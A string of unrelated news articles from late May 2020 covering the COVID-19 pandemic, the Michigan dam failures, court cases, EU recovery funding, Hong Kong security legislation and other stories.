I have tested positive for Covid-19 . As I am asymptomatic I am in home quarantine for the next 10-12 days (sic), Sanjay Jha tweeted.

Please dont underestimate transmission risks, we are all vulnerable. Do take care all, the Congress spokesperson said.

His tweet came on a day India reported 6,088 new Covid-19 cases, the second biggest single-day surge in a week, in the last 24 hours, taking the tally to 118,447.

There were 66,330 active cases of the respiratory disease in the country and 3,583 people succumbed so far, the Union health ministry said on Friday morning.
The United Nations secretary-general is again urging factions in conflict to heed his call for a global cease-fire to help tackle the COVID-19 pandemic.

In a report to the UN Security Council released Thursday, Antonio Guterres pointed to the more than 20,000 civilians killed or injured in 2019 attacks in 10 countries - and millions more forced from their homes by fighting.

He said the pandemic is the greatest test the world has faced since the United Nations was established 75 years ago and has already had a severe impact on efforts to protect civilians, especially in conflict-affected countries where weak health care systems can be overwhelmed.

The UN chief said support for his March 23 cease-fire appeal from governments, regional organizations, armed groups, civil society and individuals throughout the world has been encouraging - but he said in many instances challenges in implementing the cease-fire still need to be overcome.

Guterres reiterated his global cease-fire call, saying as the world confronts the monumental challenge of the COVID-19 pandemic, the need to silence the guns could not be more acute.

He issued the appeal in his annual report to the Security Council on the protection of civilians where he stressed that the most effective way to protect them is to prevent the outbreak, escalation, continuation and recurrence of armed conflicts.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Its almost beach season along Lake Michigan, a saving grace of cities known for polar vortexes and frost in May, but this summer, the shoreline will look a little different. In Chicago, Memorial Day usually signals the opening of the citys beaches along 26 miles of lakefront. This year, the week may only bring more monotony because the beaches are closed.
Big companies like Apple, Nintendo, and Samsung and their supplier have switched out to limit damage.

Vietnam set to become manufacturing hub

Vietnams property market is likey to receive inflows of foreign investment after big countries encourage their companies to relocate manufacturing bases out of China due to the global pandemic.

The Southeast Asian nation set to get a second round of tonic from global companies diversifying their production bases in the region as the coronavirus outbreak exposes the concentration risk in China, according to South China Morning Post.

It stands to benefit as the exodus from the worlds factory accelerates, burnishing its appeal as an alternative to China since the likes of Apple, Samsung and their suppliers switched out to limit the damage caused by higher tariffs in the US-China trade war.

Analysts say industrial and residential property in the capital of Hanoi and Ho Chi Minh City are likely to get another tailwind after the pandemic lockdown disrupted supply chains and escalated trade and political tension between China and other economic powerhouses.

This COVID-19 outbreak is forcing many companies to re-evaluate their supply chain strategy, said Sunny Hoang Ha, sales director at SPG Land Vietnam, part of a group that controls Greenland Hong Kong Holdings. Vietnam is primed to benefit.

With relatively developed infrastructure and proximity to China, Vietnam has attracted the majority of those who wanted to diversify their manufacturing portfolio outside China, according to JLL, a global real estate and investment management firm.

Although the COVID-19 pandemic was currently causing difficulties for investment decisions or relocation activities, industrial park developers remained confident of increasing land prices as they were well aware of long-term potential in Vietnams industrial segment, sending land prices soaring in the northern industrial market, JLL explained.

Demand for industrial land remained strong in the first quarter this year thanks to Vietnams good industrial fundamentals, the consultancy company noted.

With the influx of foreign industrialists, they will need accommodation for both the foreign staff as well as local staff who might have come from other provinces, said Jeremy Williams, chief business officer at PropertyGuru, which operates www.batdongsan.com.vn portal. The residential segment will see an increase in demand, hence providing an uplift to prices.

Vietnams early response to pandemic helps

Vietnams response to the coronavirus crisis has been hailed as a model for low-cost best practice in curbing the contagion.

With 324 infected cases and zero deaths, Vietnam has relaxed restrictions, enabling itself to become one of the first countries to restart its economy.

For that reason, property developers, private equity funds and analysts are still betting on the prospects of Vietnams real estate market in which foreigners and foreign organizations are eligible to own houses in the country in a tenure of 50 years.

Analysts are watching if Japans latest move will instigate a rush to Vietnam and elsewhere. The Japanese government last month unveiled a US$2.2 billion fund to pay its manufacturers to move out of China, stricken by a breakdown in supply chain following lockdown measures in January to stem the viral outbreak.

Officials from the US and the EU have also indicated their willingness to reduce their dependencies on other countries. Apple, Nintendo and Samsung and many of its Asia-based suppliers have relocated some of their production or assembling capacity to Vietnam.

Foreign direct investment rose for seventh straight year as suppliers to Apple, Nintendo, Samsung build new bases

The thinking about ring-fencing supply chain to reduce over-reliance on one single production base will only expedite the move, Jeremy Williams noted. Vietnam benefits from its proximity to China as well as its skilled and disciplined labour, which costs only a fraction of Chinas.

Besides, Vietnams young population provides a ready pool of talented professionals, adding to its investment appeal. Hanoitimes

Linh Pham

When Apple comes to Vietnam and FDI flow starts moving Apple is making clearer signals in the production of components and products in Vietnam, opening up opportunities for Vietnam to participate more deeply in the global value chain.
Earlier this week, the Edenville and Sanford Dams, just a couple hours' drive north of Detroit, had what the National Weather Service called "catastrophic failures." To put it kindly, it's a beaver's worst nightmare.

It's literally a record-breaking flood in terms of water height, which isn't good. 10,000 people are being evacuated, and water levels are still slowly rising.

What sucks, in particular, is that this was preventable. Edenville lost its hydroelectric production privileges in 2018, and the owner, Lee Mueller, had been warned that this dam was unsafe. He had a record of noncompliance, and even nicely laid-out recommendations on what to do to get the dam back to being safe were just ignored. How do you just ignore warnings that your dam is going to burst? That's like ignoring warnings that a dog shat in your shoes and then putting them on anyway.

Michigan's governor, Gretchen Whitmer, is calling this a 500-year flood and plans to take legal action against Mueller's company. This is far too many "once-in-a-lifetime" weather problems happening across the country, and Whitmer is far from the only politician around the United States seeing the fallout. That might not be enough, though. Michigan's infrastructure is aging and crumbling and will only get more expensive to fix, but Michigan isn't alone. Pick a date and pick a state -- there's a bridge falling apart or a dam bursting or a road breaking all over the place and all the time in the US. The American Society of Civil Engineers gave the whole United States a "D+" on its infrastructure in 2017 and estimates that it'll cost the economy trillions of dollars if we don't spend the necessary money to fix things.

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Now is actually the perfect time to do something about this, before another disaster happens. The unemployment rate is rocketing up faster than Buzz Lightyear strapped to bundle of fireworks. Why not have a jobs program designed to help rebuild as many deteriorating bridges, dams, and roads as we can? We've had programs like this before, and people in Congress are proposing ways to do it again. Who gives a shit where the idea came from? Let's keep America from literally collapsing on top of us.

Top Image: Michel Mond/Shutterstock


A Michigan Court of Claims Judge has ruled in favor of Gov. Gretchen Whitmer in a lawsuit that challenged the validity of an executive order that relaxed requirements of the Freedom of Information Act during the COVID-19 pandemic.

Executive Order 2020-38, in effect from April 5 through June 4, has relaxed requirements of government workers responding in person to FOIA requests during the coronavirus outbreak.

Judge Cynthia Diane Stephens on Thursday, May 21 ruled that the order was within the scope of the governors authority granted by the Emergency Powers of Governor Act, because it was reasonable and necessary for the protection of life and/or to bring the spread of COVID-19 under control.

Hemlock-based attorney Philip L. Ellison filed the lawsuit for his two clients, Eric Ostergren of Midland County and Jason Gillman Jr. of Ingham County.

Ellison said he plans to appeal Judge Stephens ruling in the near future. He will review legal options before he considers requesting a bypass of the appeals court straight to the Michigan Supreme Court.

The lawsuit, which was filed April 7, pertained to deadlines associated with response times for FOIA requests. It alleged that the governor ordered massive suspensions and alterations of FOIA that ran contrary to the state constitution and FOIA, and that she didnt have the authority to sign the executive order.

Under the Freedom of Information Act, a public body is normally required to grant or deny a request for public documents within five business days, unless it requests a one-time 10-day extension.

Under the executive order, a request requires a response within 10 business days of actual receipt of a written request at the public bodys physical address. If a request requires a physical search of records, it can be deferred until the order is lifted.

Related: Gov. Gretchen Whitmer can extend state of emergency without legislature, judge rules

Stephens held a hearing on a motion for preliminary injunction May 8. On Thursday, she ruled that the executive order did not eliminate nor fundamentally alter a public bodys FOIA obligations, and was within the scope of the governors authority during a state of emergency.

After the lawsuit was filed, Gillman Jr. filed a FOIA request April 18 with the Kent County Health Department for three categories of records: communications and responsive records relating to a petition filed by Kent County Health Officer Adam London; a copy of the petition, and an order issued in response to the petition by a Kent Circuit judge.

Within one business day, the Kent County Health Department responded with an estimate regarding the time it would take to comply. The request required on-site work and thus fell under the extended timeline allowed under the governors executive order, Stephens wrote.

The judge ruled that Gillman Jr. couldnt establish that there was a FOIA violation because the county granted his request.

COVID-19 PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

Related stories:

Southeast Michigan sees lowest positive coronavirus test rates to date

Thursday, May 21: Latest developments on coronavirus in Michigan

Reopening day: Northern Michigan restaurants expect surge, as hotels fill fast

Sleeping Bear Dunes will reopen trails and other amenities this weekend
Sri Lanka's scheduled parliamentary election, which is on hold due to the coronavirus outbreak, can be held on June 20 under strict adherence to the health guidelines, the government told the Supreme Court on Friday.

This came a day after Sri Lanka's independent election commission said it cannot hold parliamentary elections on June 20 as planned because of the coronavirus outbreak.

Sri Lanka in mid-April postponed the parliamentary elections by nearly two months to June 20 due to the coronavirus outbreak that has till now killed nine people and infected over 1,000 in the island nation.

President Gotabhaya Rajapaksa on March 2 dissolved Parliament, six month ahead of schedule and called a snap election on April 25.

Hearing a petition on the fifth day of the plea filed by the Opposition and civil society groups on Friday to challenge President Rajapaksa's dismissal of Parliament to hold snap polls, the country's top court was informed that the elections were very much possible on June 20 with adherence to strict health guidelines.

The election could be held with certain precautions in place," the lawyer representing President Rajapaksa's Secretary said to a five member bench of the Sri Lankan Supreme Court.

The lawyer produced a letter from Anil Jasinghe, Director General of Health Services, that in spite of COVID-19 pandemic situation the election can happen under quarantine regulations.

During the fourth day of hearing yesterday, the Election Commission's lawyers had told the apex court that it would not be possible to hold the parliamentary election on June 20 as scheduled due to the coronavirus outbreak.

The further hearing of the case has been postponed until May 26.

Sri Lanka has till now reported 1,060 cases of coronavirus with nine deaths, local media reported.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Metro Manila (CNN Philippines, May 22)  Major power distributor Meralco on Friday committed to expand meter reading among all its customers to reflect adjustments in the June billing statement.

In an online Joint Congressional Energy Commission hearing, Victor Genuino, Meralco first vice president and head of customer retail services and corporate communications, said less than one percent of residential bills received in May were based on actual meter reading.

"May mga area po na hindi pa namin napapasukan para mag meter read dahil strikto yung area or still under local lockdown... We will strive para basahan itong mga metro in June and adjustments in the May bill will be reflected in the June bill," Genuino said.

[Translation: There are areas where we have not conducted meter reading yet because of strict measures or they are still under local lockdown... We will strive to read the meters in June and adjustments in the May bill will be reflected in the June bill.]

"Wala pa hong one percent ang residential ho na nabasahan natin nung Abril (We read the meter of less than one percent of residential accounts)," Genuino also said. Meralco has a total of 6.6 million customers, majority of which are households.

Geminio explained that personnel began actual meter reading on April 11, starting off with commercial and industrial customers, then on to the households on the latter part of the month.

"We made sure that all of the employees that we sent out to do meter reading were equipped and armed with all the proper PPEs (personal protective equipment)," he said.

Marinduque Representative Lord Allan Velasco questioned why Meralco kept saying the bills received in May were based on actual kilowatt-per hour (kwh) consumption, when only one percent of the households were visited.

READ: Meralco explains high electricity bills for May

"I think you have a lot of explaining to do kasi yung nameter read niyo lang is less than 1 percent," Velasco said. He added that Meralco should be able to assure consumers that they are billed "fairly and properly."

Senator Sherwin Gatchalian backed Velasco's statement and urged Meralco to come up with a separate billing that will be "very clear" to the consumers.

Meralco said it will comply with the directives of the Department of Energy and the Energy Regulatory Commission, which directed all power distributors to issue new electricity bills to reflect actual meter readings. Households with monthly consumption of 200 kWh and below in February 2020 are entitled to six monthly installments, while others can make staggered payments within four months.

Meralco also committed to send consumers "very specific letters explaining" what happened to their bills and to promptly respond to all queries.

"We apologize to our customers for any inconvenience and confusion that our March to May bills may have caused. We assure all our customers that they will pay only the equivalent amount of actual consumption," said Jose Ronald Valles, Meralco regulatory affairs head.

The Energy department is looking into reports of sudden spike in Meralco billings, and some have taken to social media to air their concerns.

At one point in the five-hour hearing, Genuino showed how the bills were computed, noting that some bills were underestimated while others were overestimated.

He said those with high consumption during the quarantine period or from March to May received bills that charged "lower than actual consumption" while those with low to no consumption at all had overestimated bills since these were estimated based on the average daily consumption from December 2019, January 2020, and February 2020 -- months when customers typically consumed less electricity due to cooler weather.

"If the March/April bills are paid, Meralco will refund the overpayment of these bills or we can credit it to future bills of the customers," Genuino said.

Energy Secretary Alfonso Cusi explained that when power distribution companies are unable to conduct meter reading, they can base the consumers' bills on the previous billing. This is the case as the government enforced lockdown measures across the country to prevent further spread of the coronavirus disease.
Sharjah Media City (Shams) recently launched the freelancer package within the media industry across various fields including photography, design and filmmaking.



The package provides individuals with the opportunity to set up a corporate bank account and sponsor dependents if required, said a statement from Shams.



The package came in support of professionals across the media industry, at a cost-effective price. Providing access to several opportunities includes the chance to interact with several media personnel and gain international expertise across all media platforms, it added.



Chairman Dr Khalid Omar Al Midfa said Shams had introduced the package to support creative individuals and encourage them to use their skills for the betterment of society by providing them access to a variety of flexible options.



Once the package is availed, individuals can work on projects of their choice and make the most of several opportunities that help them showcase their creativity within such an innovative environment, despite the current situations, stated Al Khalifa.



Shams seeks to empower talented individuals to take advantage of the qualified and existing experiences in society and integrate them in the planning and design processes. They seek to implement projects and media awareness campaigns that help serve the community and provide the economy with candidates that contribute towards its development, he added.-TradeArabia News Service
At least one in 20 people in England have already had coronavirus, say public health experts.

Around one in six people in London and one in 20 elsewhere in England have already had the coronavirus, the United Kingdoms Health Secretary Matt Hancock said, as he announced plans for antibody certificates.

Data gathered from an antibody surveillance study suggests 17 percent of people in London and around five percent of people across England have tested positive for antibodies to coronavirus, he told the daily Downing Street briefing.

This news comes as the government agreed to a deal with pharmaceutical firms Roche and Abbott for more than 10 million antibody tests, to see if people have had COVID-19.

They will first be offered to health and social care staff as well as patients and care home residents.





The tests are not without their critics. Germany, one of the first countries to order millions of tests from Swiss drug giant Roche, said it would not use them until they had been debated by the countrys top ethicists.

Concern remains about how the issuing of antibody passports could lead to a two-tier society, with some people continuing to be locked down at home while others move about freely with life beginning to return to normal.

In our view, any documentation that limits individual freedoms on the basis of biology risks becoming a platform for restricting human rights, increasing discrimination and threatening  rather than protecting  public health, read an editorial comment in top science journal Nature.

The level of immunity remains a mystery, wrote Natures editorial board. Tests are unreliable, the volume of testing needed is unfeasible and the threats to privacy and marginalised groups who would likely face even greater scrutiny all mean that immunity passports are a bad idea, they wrote.

The UK government is, however, seemingly pressing on regardless, and also arranging supplies for the devolved administrations of Wales, Scotland and Northern Ireland, with each part of the UK deciding how to use its test allocation.





While it remains unclear what level of immunity people develop once they have had COVID-19, some experts hope a degree of immunity lasts for at least a year or two.

However, having antibodies does not automatically mean a person will not pass the virus onto somebody else.

Hancock said: This is an important milestone and it represents further progress in our national testing programme. Knowing you have these antibodies will help us to understand in the future if you are at lower risk of catching coronavirus, dying from coronavirus and of transmitting coronavirus.

Testing times

Hancock also announced a trial of a rapid 20-minute test to tell people if they currently have COVID-19 following criticisms that people have been waiting days or weeks for test results.

Accident and emergency hospital departments, general-practitioner testing hubs and care homes in Hampshire will all trial the new test, which will be used on up to 4,000 people.

The test does not need to be sent off to a lab and will be rolled out more widely if it is shown to be effective, Hancock said.





Before the press briefing, Downing Street announced a U-turn on the National Health Service surcharge, saying overseas health and care staff would be exempted from the fee levied on migrants to pay for the NHS.

It came after mounting pressure on Prime Minister Boris Johnson from senior Tories, with former party chairman Lord Patten calling the charge appalling and monstrous.

Labour leader Sir Keir Starmer, who urged the prime minister in the Commons on Wednesday to scrap the charge, said: Boris Johnson is right to have U-turned and backed our proposal to remove the NHS charge for health professionals and care workers.

This is a victory for common decency and the right thing to do. We cannot clap our carers one day and then charge them to use our NHS the next.

The decision came a day after another U-turn, when the government extended a scheme offering indefinite leave to remain in the UK to the families of all immigrant NHS staff who die as a result of contracting coronavirus.

Certificates

At the daily press briefing, Hancock said certificates were being looked at for people who test positive for coronavirus antibodies.





He said: Its not just about the clinical advances that these tests can bring.

Its that knowing that you have these antibodies will help us to understand more in the future if you are at lower risk of catching coronavirus, of dying from coronavirus and of transmitting coronavirus.

Were developing this critical science to know the impact of a positive antibody test and to develop the systems of certification to ensure people who have positive antibodies can be given assurances of what they can safely do.

Meanwhile, Englands chief medical officer Professor Chris Whitty told the briefing the total number of deaths from all causes was now down to the rate in an average winter.

He said All-cause mortality has come down at the same time as the COVID deaths have come down, and it is now at roughly the rate it is at in an average winter.

So, we are essentially having a winter in health terms, in terms of mortality, but in late spring and early summer.

Prof Whitty also said care home deaths had peaked and have now come down.

On the test, track and trace strategy, Hancock sought to play down the importance of the delayed app in the contact tracing process.

He had originally said the app would be rolled out by mid-May, but it has now been delayed by several weeks.
PARIS  When Jean Monnet, one of the founding fathers of the European Union, warned decades ago that Europe would be forged through crises and would be the sum of its solutions, little could he have imagined that his prediction would one day be put to the test by a virus. On Monday, speaking jointly onscreen from their respective capitals, Chancellor Angela Merkel of Germany and President Emmanuel Macron of France emerged from what Ms. Merkel described as the most serious crisis of the E.U.s history and announced that they had found a solution.

Back from the brink after three months of chaos and deaths caused by the pandemic, Europe is giving convergence another try. In a bold move that could radically transform the European Union, France and Germany have taken the lead to propose a 500 billion-euro recovery fund to help rebuild devastated economies.

Just how audacious is this, one may well wonder, at a time of gigantic rescue plans around the world? The audacity is not so much in the suggested size of the fund  which, added to the rescue plans of national governments and the European Commission, will make a total of 3 trillion euros available for the whole bloc. It is rather in the method of the funding: For the first time in its history, the European Commission would be allowed to borrow from financial markets. Not Germany or France, not Germany and France, but the E.U. as such. The recovery fund would then be allocated as grants to the regions hardest hit by the coronavirus pandemic, and to sectors, like tourism, directly affected by the economic crisis. Grants, not loans: The money borrowed from financial markets will be reimbursed by the E.U., not by the individual countries that benefit.

Because of the unusual nature of the crisis, we are taking an unusual path, Ms. Merkel remarked of the initiative, which breaks with European practice and represents a major ideological shift for Germany. As the wealthiest European country, it has always resisted the idea of a transfer union, in which it would have to pay for less-well-managed member states. This resistance, and the stringent conditions attached to assistance provided to several of Europes southern countries during the euro crisis 10 years ago, have left a deep scar on European unity.
First it was a study funded in part by his own governments National Institutes of Health that raised alarms about the use of hydroxychloroquine, finding higher overall mortality in coronavirus patients who took the drug while in Veterans Administration hospitals. Trump and many of his allies had been trumpeting the drug as a miracle cure and Trump this week revealed that he has been taking it to try to ward off the virus  despite an FDA warning last month that it should only be used in hospital settings or clinical trials because of the risk of serious side effects, including life-threatening heart problems.
A woman accused of stabbing a Brandon police officer in the head with a meth-filled needle has been granted bail while she waits for an assessment to determine whether she should be held criminally responsible.

Hey there, time traveller!

This article was published 22/5/2020 (608 days ago), so information in it may no longer be current.

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A woman accused of stabbing a Brandon police officer in the head with a meth-filled needle has been granted bail while she waits for an assessment to determine whether she should be held criminally responsible.

Raeleen Benn, 25, is facing numerous charges in Brandon provincial court, including aggravated assault of a peace officer, assault with a weapon, uttering threats, and theft under $5,000.

None of the charges has been proven in court and Benn is presumed innocent.

On Dec. 12, police received a call from a woman asking for someone to remove her daughter from her home, as she was causing a disturbance and smashing things, Crown attorney Deidre Badcock told the court on Thursday.

An officer arrived on scene and immediately heard a smash followed by a woman yelling "you broke my door," Badcock said, so he went inside the home to arrest the woman causing a disturbance for mischief.

He found the woman with her hands in her pockets, Badcock said, and when she removed them she was holding a needle in one hand

filled with an unknown substance.

It was later determined the needle was filled with methamphetamine, Badcock said.

The officer tried to place the woman in handcuffs but she struggled and pulled away, taking a fighting stance against the officer.

She began swinging the needle at the officers hands, legs and head, Badcock said, eventually stabbing him on the top of his head.

While doing this, the woman started threatening to kill the officer, Badcock said. The other woman who originally called police and another person in the home started to get aggressive with the officer as well, calling him racist and yelling that police were trying to kill her.

"This is an officer who went there for a disturbance call and ended up with a hypodermic needle stabbed in the top of his head," Badcock said.

Eventually backup officers arrived and assisted with the arrest and the injured officer, who was bleeding from the head.

They had to search for the point of the needle, Badcock said, which had broken off at some point during the scuffle.

Benn was also arrested numerous times last year for allegedly shoplifting multiple times from multiple stores, Badcock said, and breaching orders that banned her from businesses such as the Real Canadian Superstore and Shoppers Mall.

Benn underwent a fitness assessment earlier this year and was found fit to stand trial, Badcock said, however concerns were raised regarding Benns mental health.

An assessment to determine whether Benn is criminally responsible was ordered in March, Badcock said, and is expected to be completed in July.

If released in the meantime, Badcock said she was concerned Benn would spiral back into a methamphetamine addiction, possibly reoffend and not show up for scheduled court dates or appointments.

"If Ms. Benns past behaviour is any predictor of her future behaviour, it seems clear she is a major risk to reoffend," Badcock said. "Even more concerning is her risk on the tertiary ground, and the concern the public would have if she were to be released from custody."

Defence lawyer Bob Harrison disagreed with the Crowns comments, saying Benns psychiatric issues were being ignored.

Benn was suffering from "significant mental-health issues" at the time of the incident, including schizophrenia, Harrison said, and wasnt on her medication at the time.

Benn has been sober since going into custody in December, is now on medication and has supports in the community who want to see her stay that way, Harrison said, adding it was complete speculation that Benn wouldnt attend appointments if released.

With a strict bail plan, Harrison argued Benn could be managed in the community.

While Judge Donovan Dvorak noted the allegations were very concerning, sitting in custody for eight months waiting for an assessment that should have been completed within four months was unreasonable.

"The maximum in terms of assessment times is actually 30 days  the provisions of the Criminal Code allow for an extension under exceptional circumstances up to 60 days  It should have already been done. If the timelines were followed, it would have already been done in April or May, which is also passed. Now were looking at July," Dvorak said.

"Im not sure that a fair-minded member of the public would say its OK to hold someone who may be not criminally responsible  we havent made that determination  for eight months  while we determine whether she is in fact, criminally responsible."

Benn will be released under house arrest on a $500 cash deposit and a $2,000 promise to pay.

She is scheduled to appear in court again in July.

 edebooy@brandonsun.com

 Twitter: @erindebooy
It takes about half a day and some 5,000 miles to get from the concrete canyons of Los Angeles to the grassy hills of Ireland, but that sense of literal and figurative distance was a big part of the countrys appeal for two busy Hollywood insiders. Ireland doesnt have the white noise that America hasyou dont have this sense of constantly being advertised to, says Adam McKay, the Academy Awardwinning director, producer, and screenwriter who, along with his wife, the writer-director Shira Piven, made a sleepy town in the Irish countryside their second home. In Los Angeles, theres always this buzzing. We just immediately talked about how quiet and relaxing it was to be here.

In large part thats because the English-style house they foundwith help from an Irish publicist friend and her familyis set on 12 heavily wooded acres along the banks of a protected lough in County Cavan, in a region where there are more sheep than people and the nearest neighbors are at least a half-mile in either direction. The land itself had only changed hands twice in its 400-year history, and the closest town is 11 miles away.

But it also helped that the 5,000-square-foot, eight-bedroom home that already existed on the property had what McKay describes as good energy thanks to the care lavished on it by its previous owner, who built the house and lived there with his wife for more than 30 years. It had this sense of light and space and quiet that was really lovely, says Piven, who scouted the property with the couples two teenage daughters while McKay was working on a project in London. After virtual visits and elaborate Skype tours of the grounds, they went all in on turning the house into a writers retreat, a base for exploring the Continent, and a part-time getaway for family and friends.

To nail the low-key work/play aesthetic they were looking for, the couple enlisted designer Alison Koch, who also worked on their main residence in Los Angeles but took a slightly more eclectic approach here. Luckily for the couple, the house required very few major renovations, so they opted instead for cosmetic changes to enhance the homes warm, inviting air while modernizing its English brick-and-stucco aesthetic. They wanted something bright because youre always dealing with cloudy days and rain in Ireland, says Koch, but there also had to be a little bit of drama.

Story continues

After replacing the hardwood floors, gutting the kitchen and baths, and installing a new, more streamlined staircase, Koch introduced a limited palette of saturated huesnamely olive greens and grays, with unexpected bursts of color inspired by the surrounding landscapeto add contrast to the houses white plaster walls and establish a sense of intimacy throughout the airy rooms. Rust-colored cabinetry mingles with gray limestone flooring and white oak countertops in the kitchen, while a claw-foot tub in a guest bath pits a soothing shade of curry against an ornate blue-tinged House of Hackney wallpaper.

Koch also relied on a coterie of Old World European antiques vendors to complement midcentury pieces purchased back in L.A., furnishing the space in a way that honors the history of the property as well the comfort of the McKay-Pivens modern lifestyle. A sleek 18th-century Piet Jonker cocktail table pairs seamlessly with a tufted midcentury-style Lee Stanton sofa in the study, while a rustic 1850s Swedish pine table repurposed as a nightstand lends patina and age to a 1950s brass-and-glass chandelier by Pamono in a guest bedroom. In a nod to one of Irelands most important traditional trades, wools appear throughout. Alison did a really masterful job of making the house feel beautiful without being ostentatious, says McKay.

Tour a Bucolic Ireland Idyll for Two Hollywood Insiders

Kochs ability to create interiors that establish a strong sense of place while fading into the background of everyday life has allowed the family to ease into a slower pace, one that encourages cooking at home over takeout (its unavailable here anyway), reading over screen time, and gardening over gallivanting. If it werent for the minks and martens, wed probably have a bunch of chickens running around, says McKay. But the house has also given them an inspirational backdrop for getting down to business, whether thats hosting an impromptu jam session, as they did last New Years Eve, when neighbors arrived with instruments in hand, or working on the next project. Its an incredible place to write, says McKay, who recently finished a script in just three weeks at the 12-foot library table that is now his desk. Its bound to touch off another flurry of activity that will, no doubt, bring his family right back here to decompress.

Originally Appeared on Architectural Digest
Source: Xinhua| 2020-05-23 01:06:29|Editor: yan

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BEIJING, May 22 (Xinhua) -- Overseas experts and scholars have attached great importance to China's government work report, expressing confidence in China's economy and its realization of poverty alleviation goals this year, despite impact from the COVID-19 pandemic.

Chinese Premier Li Keqiang on Friday delivered the annual report on the work of the government at the third session of the 13th National People's Congress (NPC), the national legislature.

According to the report, main targets and tasks for 2019 were accomplished, laying the crucial foundation needed to reach the goal of building a moderately prosperous society in all respects.

Jin Jianmin, a senior fellow at the Fujitsu Research Institute in Tokyo, said that the Chinese economy has maintained stable growth in 2019.

At the same time, great progress has been made in social development, such as the number of new jobs and the national medical insurance, said Jin, adding that environmental quality has also improved significantly.

China's policies are clearly geared toward comprehensive, coordinated and balanced development of society, which is consistent with China's development philosophy, Jin added.

Cavince Adhere, an international relations expert with a focus on China-Africa relations, said that China, as an engine of global growth, its economic performance has practical significance for the rest of the world.

Regarding Li's address to the 13th NPC as pragmatic, Adhere said new measures announced by the premier will significantly contribute to the country's poverty reduction goals.

China will give priority to stabilizing employment and ensuring living standards, win the battle against poverty, and achieve the goal of building a moderately prosperous society in all aspects, though setting no specific economic growth target for 2020, said the report.

Benyamin Poghosyan, chairman of the Center for Political and Economic Strategic Studies in Armenia, said he is confident in China's future development.

"Despite the uncertainties triggered by the COVID-19 pandemic, the Chinese government is resolved to eradicate extreme poverty in 2020," he said, adding that this is very impressive especially amid the pandemic.

In the face of global challenges including the public health crisis and severe economic recession, all countries should work together, according to the government report.

China stands ready to work with other countries to strengthen international cooperation on epidemic control, it added.

Humphrey Moshi, a professor of economics at the University of Dar es Salaam, said that China fully demonstrates its sense of responsibility as a major country by being a champion for international cooperation on epidemic control and for the promotion of global economic stability.

China has offered valuable experience in combating the pandemic and the resumption of work and production in a timely manner, said Nadhum Ali Abdullah, an Iraqi political expert with Arab Forum, a Baghdad-based think tank.

"China will make more substantial contributions to the COVID-19 fight and help stimulate the global economy hit hard by COVID-19," Abdullah said. Enditem
The Philadelphia Eagles and American Red Cross hosted a community blood drive on Thursday at Lincoln Financial Field, at which 90 pints were donated. According to the team, that has the potential to help as many as 270 patients.

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It was the Eagles second community blood drive during the coronavirus pandemic. The team hosted its first COVID-19 blood drive on Thursday, April 16, at which 74 pints of blood were collected, with the potential to help up to 222 patients.

Despite the challenges weve faced as a society over the past couple of months, the American Red Cross has courageously carried on with its life-saving mission of providing compassionate care for those in need, said Jeffrey Lurie, Philadelphia Eagles Chairman and CEO. We are grateful to have the opportunity, once again, to offer our assistance to the Red Cross so that a sufficient blood supply could be maintained for weeks to come. The swift and immediate response to this call to action by our community clearly demonstrates the generosity that we have for one another. Yesterday was a symbol of that goodwill thanks to everyone who showed up to support the Red Cross transformational work.

Buy coronavirus face coverings: MLB, NFL, NBA, NHL, NCAA

Lurie previously donated $250,000 to the American Red Cross in April through the NFLs Draft-A-Thon fundraiser for COVID-19 relief efforts.

Also in April, Lurie donated $1 million to Penn Medicine to help fund research and combat the impact of the coronavirus pandemic. His contributions established the COVID-19 Immunology Defense Fund, which will lay the foundation for the worlds foremost experts to fight the novel coronavirus pandemic, according to a press release from Penn Medicine.

Lurie and the Eagles also made the following charitable contributions in April: donated 100,000 N-95 masks to Thomas Jefferson University and Jefferson Health, Childrens Hospital of Philadelphia (CHOP) and other local health systems; purchased $225,000 worth of gift cards from ACME, Chickies & Petes, Dunkin, McDonalds and Wawa to be sent to employees at Jefferson and CHOP; made grants of $35,000 to the Jewish Family and Childrens Service of Greater Philadelphias Helping Healthcare Heroes Support Group and Uplift Center for Grieving Children; donated $250,000 to the American Red Cross, $100,000 to Jeffersons Better Together Fund and $55,000 to Vision To Learn.

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Mike Rosenstein may be reached at mrosenstein@njadvancemedia.com. Tell us your coronavirus story or send a tip here.
Beijing Moves to Outlaw Secession in Hong Kong at National Congress - Reports

Sputnik News

14:15 GMT 21.05.2020(updated 17:48 GMT 21.05.2020)

BEIJING (Sputnik) - Beijing is set to put forward a resolution that will allow the National People's Congress during its upcoming session to pass national security legislation to ban secession and foreign interference in Hong Kong, the South China Morning Post newspaper reported on Thursday, citing sources in the Chinese capital.

The 13th annual session of the Chinese NPC, initially scheduled for 5 March but postponed due to the spread of the coronavirus, will open in Beijing on Friday. The draft will be shared with lawmakers on Thursday night and presented as a motion to the NPC on Friday afternoon, the newspaper said.

The new national security law will forbid all seditious activities aimed at toppling the central government and external interference in Hong Kong's affairs, as well as terrorist acts in the city, the newspaper said.

The NPC is set to vote on the bill at the end of the annual session, which is likely to be on 28 May. Then, it will be forwarded to the Standing Committee of the NPC, which will work on the details of the future legislation, the newspaper added.

The move is believed to be made as a result of the Legislative Council of Hong Kong failing to pass a security law on its own, given the city's political climate.

The city has been gripped by violent protests since June. Numerous demonstrators initially took to the streets to protest a proposed extradition bill, but riots continued and became violent even after the unpopular measure was withdrawn in October. Beijing has said that the situation in Hong Kong was the result of foreign interference in China's domestic affairs and expressed full support for the local authorities to avert violence and restore order.

A Sputnik

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Update: Police say Patricia Ripley, 47, murdered her severely autistic 9-year-old son, Alejandro Ripley. Read more here.

A severely autistic 9-year-old boy was found dead in a Southwest Miami-Dade canal Friday morning, less than a day after his mother told police her son had been abducted by two men who had forced her to pull her car over, demanded drugs, then took the child.

